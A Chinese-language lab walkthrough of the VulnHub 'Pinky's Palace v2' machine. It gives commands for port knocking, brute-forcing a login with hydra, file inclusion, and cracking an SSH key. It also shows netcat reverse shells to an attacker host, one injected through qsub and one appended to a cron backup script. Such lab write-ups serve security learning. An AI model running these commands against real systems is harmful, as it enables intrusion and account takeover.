VulnHub-Pinky’s Palace: v2-靶机渗透学习
字数 1195 2025-08-15 21:33:24
Pinky’s Palace: v2 靶机渗透教学文档
靶机概述
- 难度等级:中级(CTF)
- 发布日期:2018年3月18日
- 目标:获取root权限并找到flag.txt
- 描述:一个现实的Boot2Root挑战,需要获得系统访问权限并读取/root/root.txt
- 特殊说明:WordPress将无法正确呈现,需要修改hosts文件
初始设置
- 修改hosts文件:
echo 192.168.x.x pinkydb | sudo tee -a /etc/hosts
信息收集
1. Nmap扫描
nmap -sV -p- 192.168.x.x
发现端口:
- 80/tcp: HTTP (WordPress 4.9.4)
- 4655/tcp: 关闭
- 7654/tcp: 关闭
- 31337/tcp: 关闭
2. WordPress枚举
使用WPScan枚举用户:
wpscan --url http://pinkydb/ --enumerate u --api-token 'API'
发现用户:pinky1337
3. 目录爆破
使用dirb或gobuster:
dirb http://pinkydb/
发现目录:/secret/ 包含bambam文件
端口敲门
- 分析bambam文件:包含端口号8890, 7000, 666
- 生成排列组合(Python脚本):
from itertools import combinations, permutations print(list(permutations([8890,7000,666]))) - 执行敲门:
#!/bin/bash while read -r line do echo knock -v 192.168.16.147 $line done < /tmp/knock.txt
敲门后端口状态:
- 4655/tcp: SSH
- 7654/tcp: HTTP (nginx)
- 31337/tcp: 未知服务
Web应用渗透
1. 7654端口Web应用
- 生成字典:
cewl http://pinkydb/ -w /tmp/cs.txt - 暴力破解登录:
hydra -L name.txt -P cs.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"
获取凭证:
- pinky/Passione
- pinky1337/Pinky
2. 文件包含漏洞
发现RFI漏洞:
http://pinkydb:7654/pageegap.php?1337=etc/passwd
权限提升路径
1. 初始访问
- 使用pinky用户登录
- 获取stefano用户的SSH私钥
2. 破解SSH私钥
- 转换私钥格式:
python ssh2john.py id_rsa > id_rsa.txt - 破解密码:
获取密码:secretz101john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt
3. 利用qsub程序
-
分析qsub程序:
- 位于tools目录
- 所属组为www-data
- 执行权限但无读写权限
-
利用RFI读取程序:
http://pinkydb:7654/pageegap.php?1337=tools/qsub -
执行反弹shell:
./qsub '$(nc -e /bin/bash 192.168.16.143 6666)'获取pinky权限
4. 利用备份脚本
-
发现备份脚本:
find / -name 'backup.sh' 2>/dev/null位于/usr/local/bin/backup.sh
-
修改脚本添加反弹shell:
echo 'nc -e /bin/bash 192.168.16.143 7777' >> /usr/local/bin/backup.sh等待定时任务执行获取demon用户shell
5. 分析panel程序
-
发现panel程序:
ps uax | grep panel find / -name 'panel' 2>/dev/null -
传输程序分析:
# Kali接收 nc -lvp 4666 > panel # 靶机发送 nc 192.168.16.143 4666 < panel -
GDB调试:
gdb ./panel info functions # 发现使用strcpy函数 -
缓冲区溢出分析:
- 确定溢出点:113字符开始
- 测试精确位置:
echo $(python -c "print 'a' * 113") | nc 192.168.16.143 31337
-
GDB调试设置:
set follow-fork-mode child set detach-on-fork off
总结与学习点
-
关键学习点:
- 端口敲门技术
- WordPress用户枚举
- SSH私钥破解
- 文件包含漏洞利用
- 定时任务利用
- 缓冲区溢出漏洞分析
-
未完成部分:
- 缓冲区溢出利用最终阶段
- 获取root权限的最后步骤
-
推荐学习资源:
- 缓冲区溢出深入分析:https://blog.csdn.net/qq_34801745/article/details/104070421
后续学习建议
- 深入学习缓冲区溢出原理
- 练习ROP链构造
- 研究ASLR和NX bypass技术
- 尝试完成最后的root提权